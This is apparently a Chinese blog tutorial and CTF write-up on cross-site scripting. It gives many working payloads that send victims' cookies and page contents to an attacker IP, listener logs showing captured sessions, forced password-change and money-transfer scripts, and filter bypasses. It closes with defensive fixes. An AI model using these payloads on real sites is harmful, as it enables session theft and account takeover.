深入浅出XSS

baozongwi Lv5

0x01 前言

最近发现xss的利用还是挺多的,但是自己又处于一个只会用低级payload的水平,所以来学习一下

0x02 question

what‘s this

原理

1

原理就是很简单,类似于注入,我们插入了恶意代码在网页中,并且也被成功解析了

利用场景

  1. 浏览器可以执行JavaScript代码(这不是废话吗)。
  2. 网页可以显示用户输入的内容。包括但不限于:根据url中的参数渲染网页、预览输入框写好的内容、留言板等其他用户提交的内容等。

那么很显然这是被动的攻击,在之前并不流行,但是现在互联网主要讲求一个”互”,所以自然而然的也可以进行利用了,而能来干什么(最常见的钓鱼)

干啥

  • 窃取cookie token 来获得用户登录态;
  • 劫持流量,把用户正在访问的页面跳转到钓鱼网站;
  • 盗用账户来转账、群发信息等;
  • 利用用户的设备来发起DDOS攻击;

demo

这次我们从一个最简单的demo来看看原理

1
2
3
<?php
$xss=$_GET['id'];
echo $xss;
1
?id=<script>alert(1)</script>

直接就出现弹窗了,也就是因为我们的恶意代码被解析插入,这样子看其实还是不是很能理解,再来个demo,这个demo也就花了我两个小时吧,艹想哭了

为了更加直观的看到为什么会造成xss,我零基础学了如果使用Tomcat来搭建一个本地服务,其中载入jsp漏洞代码,即可进行xss测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS 测试页面</title>
</head>
<body>
<h1>XSS 测试页面</h1>

<form action="xss_test.jsp" method="get">
<label for="message">输入消息:</label>
<input type="text" id="message" name="message" value="<%= request.getParameter("message") == null ? "" : request.getParameter("message") %>">
<button type="submit">提交</button>
</form>

<div>
您输入的消息是:<%= request.getParameter("message") == null ? "null" : request.getParameter("message") %>
</div>
</body>
</html>

先简单的写个xss_test.jsp直接用来测试的

我们直接在输入框中输入

1
<script>alert('XSS');</script>

发现弹窗成功,再查看代码发现原来变成了这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS 测试页面</title>
</head>
<body>
<h1>XSS 测试页面</h1>

<form action="xss_test.jsp" method="get">
<label for="message">输入消息:</label>
<input type="text" id="message" name="message" value="<script>alert('XSS');</script>">
<button type="submit">提交</button>
</form>

<div>
您输入的消息是:<script>alert('XSS');</script>
</div>
</body>
</html>

也就是说我们插入的恶意代码被直接放进了源码之中解析

分析payload

1
<script>alert(1)</script>

alert:是JavaScript 中的一个内置函数,用于显示一个警告对话框。

<script>:是HTML 中的一个标签,用于定义客户端脚本(如 JavaScript)。

标签也就是执行的原因

xss利用

html标签什么应该都知道吧(~~~不知道就寄寄~~),本身xss又分为三种类型,反射型,存储型,基于DOM的xss

获取

首先来讲讲获取手法吧,因为这个之前是困扰了我很久的

使用的payload

1
<body onload="window.open('http://ip:port/'+document.cookie)">

使用Python开启web服务,打入payload即可一直接收

1
2
3
4
5
6
python3 -m http.server 9999


124.223.158.81 - - [25/Sep/2024 06:17:11] "GET /PHPSESSID=5el9lo449uj38irou4flmjnk77;%20flag=ctfshow%7B8f2ded97-e98b-4a2e-b771-358d90420962%7D HTTP/1.1" 404 -
124.223.158.81 - - [25/Sep/2024 06:17:22] code 404, message File not found
124.223.158.81 - - [25/Sep/2024 06:17:22] "GET /PHPSESSID=le32vkvgl7g694rhkoerirpiig;%20flag=ctfshow%7B8f2ded97-e98b-4a2e-b771-358d90420962%7D HTTP/1.1" 404 -

直接监听

1
2
3
4
5
6
7
8
9
10
11
root@dkcjbRCL8kgaNGz:/var/www/html# nc -lvnp 9999
Listening on 0.0.0.0 9999
Connection received on 124.223.158.81 49214
GET /PHPSESSID=o360pf41voksjv2f8ur1tm7o1n;%20flag=ctfshow%7B8f2ded97-e98b-4a2e-b771-358d90420962%7D HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://127.0.0.1/target.php?key=ctfshow_bot_key
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: ip:9999

写一个文件进行接收

1
2
3
4
5
6
7
<?php
$a=$_GET['a'];
if(isset($a)){
file_put_contents('cookie.txt',$a);
}else {
echo "nonono!";
}

别忘记给权限不然写不了文件的

payload也要改改

1
<body onload="window.open('http://ip/xss.php?a='+document.cookie)">

当然后面别忘记修改权限避免安全问题

反射

2

所以说恶意代码是存在 URL 里

demo ctfshow web316–web326,可以看到我们插入的恶意代码都会直接在url之中

随便搞一个326来测试

过滤了空格和一些标签写出payload

1
<body/**/onload="window.open('http://ip:port/'+document.cookie)">

这里发现貌似是写文件不能够行的了诶,没关系监听端口也可以

存储

3

嗯哼,恶意代码存在数据库里,也就是我们常见的登录框、留言框等等场景

留言框demo ctfshow web327

在留言框里面留下恶意代码

1
<body/**/onload="window.open('http://27.25.151.48:9999/'+document.cookie)">

oh shit有一个小坑就是只能发送给admin,但是想来能有权限解析恶意代码的也只有admin

登录框demo ctfshow web328

在注册框里面插入恶意代码,然后登录,即可成功(原理也是一样),这里是把一些标签过滤了我们换一下

1
<script>window.open('http://27.25.151.48:9999/'+document.cookie)</script>

拿到cookie之后登录即可

ctfshow web329当cookie在一直更换无法使用cookie登录时,我们可以试试查找关键字或者锁定位置来进行

通过检查得到位置之后,发现也只有两个位置(也就是这两列),不过元素索引这个事情大家都知道吧,所以写一个payload来获取到元素内容

1
<script>window.open('http://27.25.151.48:9999/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

也可以进行循环捕捉

1
2
<script>$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://27.25.151.48:2333/'+value.innerHTML;}});</script>

这些函数自个查查(我也不熟悉)

还有利用xss打一个本地类似的ssrf

demo ctfshow web330

抓包先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /api/change.php?p=123 HTTP/1.1
Host: 55f6799f-809c-4233-a4a2-3c5c9031145b.challenge.ctf.show
Cookie: PHPSESSID=erm5q643d7svu4r7l4m9fh3ctd
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: */*
Sec-Ch-Ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://55f6799f-809c-4233-a4a2-3c5c9031145b.challenge.ctf.show/change.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close


那么可以构造payload来试试能否更改

1
<script>location.href='http://127.0.0.1/api/change.php?p=123456'</script>

然后admin登录即可

或者和web329差不多直接打出整个页面的内容(但是肯定不一样)

根据F12我们慢慢试试可以看到layui-container就直接覆盖了那个页面的所有内容,我们直接获取所有源码

1
<script>location.href="http://27.25.151.48:2333/"+document.getElementsByClassName('layui-container')[0].outerHTML</script>

然后解码就行了

web331

当然还是可以直接获取页面的整个内容,不过修改密码也是一个不错的选择这次发现是POST传参

1
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>

不使用jquery也可以使用js来写

1
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>

DOM

为什么被称为是DOM型呢,因为在其中

  1. 使用document.write直接输出数据。
  2. 使用innerHTML直接输出数据。
  3. 使用location、location.href、location.replace、iframe.src、document.referer、window.name等这些。

可以看到这些我们在前面都是已经看到过的,也就是直接利用xss进行文档操作的都可以算作是DOM型,demo的话上面都有写,所以这个的利用就得多多了解一些函数了,并且与前两者不同的东西

DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

所以这里就不放demo了

异步xss

  • 异步通信:现代 Web 应用程序广泛使用 AJAX(Asynchronous JavaScript and XML)技术,通过异步请求与服务器通信,更新页面内容而无需重新加载整个页面。
  • 异步 XSS:利用 AJAX 请求中的漏洞,注入恶意脚本,这些脚本在用户浏览器中异步执行。

说实话看懂了吗,我反正是没看懂,不过倒是有个demo就是ctfshow web333

这里仍然是转钱的漏洞不过,我们可以利用异步xss,进行转钱,可以越过转钱金额的限制

抓包了好几次拿到交易的包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /api/amount.php HTTP/1.1
Host: 4ac4a559-3aaa-4967-ad5d-dd6885415e45.challenge.ctf.show
Cookie: PHPSESSID=uomr637qbom070ab78u7t149l2
Content-Length: 9
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://4ac4a559-3aaa-4967-ad5d-dd6885415e45.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://4ac4a559-3aaa-4967-ad5d-dd6885415e45.challenge.ctf.show/transfer.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close

u=111&a=1

我们用xss进行POST传参转钱

1
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>

也许这样子看来和普通的xss有啥不同啊,没啥不同啊,但是本身我们会发现每次转钱之后会说交易成功,然后我们自己回去那个页面查看金额,这种就是属于更新而没有重新加载页面,如果是重新加载的话应该是转钱之后当即刷新

demo(我觉得可以做做)

BUU XSS COURSE 1

进来一个框子直接开打

1
<IMG SRC="javascript.:alert('XSS');">

得到路径

1
/#/view/7f1d432a-6ec5-42c6-b460-6e514a4d43e1

访问之后发现一张图片,但是访问不了,不过内容确实是我们成功插入的payload,那么可能说靶机不能访问外网,那么修改一下payload

1
</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.buuoj.cn%2F8sVXk7%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

这是xssplatform来写出的payload,但是现在平台用不了了QWQ

[第二章 web进阶]XSS闯关

进来可以看到我们的代码是直接插入源码的

1
<script>alert(1)</script>

第二关闭合即可

1
';alert(1);//

第三关被转义了一个单引号,但是无所谓,再加一个即可

1
'';alert(1);//

第四关查看源码

1
2
3
4
5
6
7
8
9
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}

那么我们可以利用属性插入

1
?jumpUrl=javascript:alert(1)

第五关查看源码

1
2
3
4
5
6
7
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{

}

两个参数,然后我们需要搞点事情,绕过一点小检查

1
?autosubmit=1&action=javascript:alert(1)

第六关

AngularJS 1.4.6框架,沙箱逃逸

1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

bypass

HTML标签

1
<script>alert(1)</script>

HTML属性

1
<a href="javascript:alert('XSS')">http://baidu,com</a>
1
<SCRIPT SRC="http://27.25.151.48:12138/xss.js"></SCRIPT>

xss.js写这个

1
alert(1)
1
<IMG SRC=javascript:alert(‘XSS’)>

还可以利用属性的报错

1
<img src="x" onerror="alert(1)">

利用Unicode

1
<script>eval("\u0061\u006c\u0065\u0072\u0074('XSS')")</script>

闭合

闭合插入恶意代码大家也是耳熟能详了

1
2
3
4
5
6
7
<body>
<script>
<?php
echo "var a='".$keyword."'";
?>;
</script>
</body>
1
?keyword=';alert(1);'

就变成了

1
2
3
4
5
6
7
<body>
<script>
<?php
echo "var a='';alert(1);''";
?>;
</script>
</body>

成功插入

payload解释

1
2
3
4
5
6
7
8
<script>
var img = document.createElement("img"); //创建img变量
img.src = 'http://ceye地址/' + document.cookie;
/*
.src是img属性通常指向地址,document.cookie是当前页面的所有cookie,猜测flag在其中
<script>html标签
*/
</script>
1
<script>window.location.herf='http://ceye地址/'+document.cookie</script>
1
2
3
4
<script>
window.open('http://ceye地址/'+document.cookie)
//window.open() 是 JavaScript 中用于打开新窗口或标签页的函数。
</script>
1
2
3
4
5
<iframe onload="window.open('http://ceye地址/'+document.cookie)">
</iframe></iframe>
onload是iframe的一个属性
而iframe 用于在当前html文档中嵌入html文档
其他的和上面一样
1
<svg onload="window.open('http://ceye地址/'+document.cookie)">
1
<body onload="window.open('http://ceye地址/'+document.cookie)">

这种绕过就有点类似于命令执行中你禁用什么我就不用什么

大小写

1
2
3
4
<SCript>window.location.herf='http://27.25.151.48:12138/xss.php?a='+document.cookie</scRipt>


<body onload="window.open('http://27.25.151.48:12138/xss.php?a='+document.cookie)">

绕过空格

1
2
3
4
5
/**/
/
<svg/onload="window.open('http://ceye地址/'+document.cookie)">

<svg/**/onload="window.open('http://ceye地址/'+document.cookie)">

嵌套

1
<scr<script>ipt>alert(1)</scr</script>ipt>

fix

  • 在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等。

  • DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等, 标签的href属性,JavaScript 的eval()、setTimeout()、setInterval()等,都能把字符串作为代码运行。

  • 在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

    如果用 Vue / React 技术栈,并且不使用 v-html / dangerouslySetInnerHTML 功能,就在前端 render 渲染阶段避免 innerHTMLouterHTML 的 XSS 隐患。

    以下方式都能把字符串作为代码运行:

    • DOM 中的内联事件监听器:如 locationonclickonerroronloadonmouseover
    • HTML DOM 标签属性:<a> 标签的 href 属性
    • JavaScript 的 eval()setTimeout()setInterval()
  • 过滤老套路了

  • 前端渲染的时候将代码和数据分开,不要执行恶意代码

  • 拼接HTML时进行转义

0x03 小结

学习xss还是要知道一些JavaScriptjquary什么的函数不然还是很难,没想到一个个都是这样子的,不过现在也是会打一点点漏洞了,知道部分原理了

bypass部分我知道还有很多要学的,但是我遭不住了,后面会更新的,还有这些常用函数什么的关于js jquary的会单独写写

  • Title: 深入浅出XSS
  • Author: baozongwi
  • Created at : 2024-09-25 08:04:23
  • Updated at : 2024-10-04 16:32:33
  • Link: https://baozongwi.xyz/2024/09/25/深入浅出XSS/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments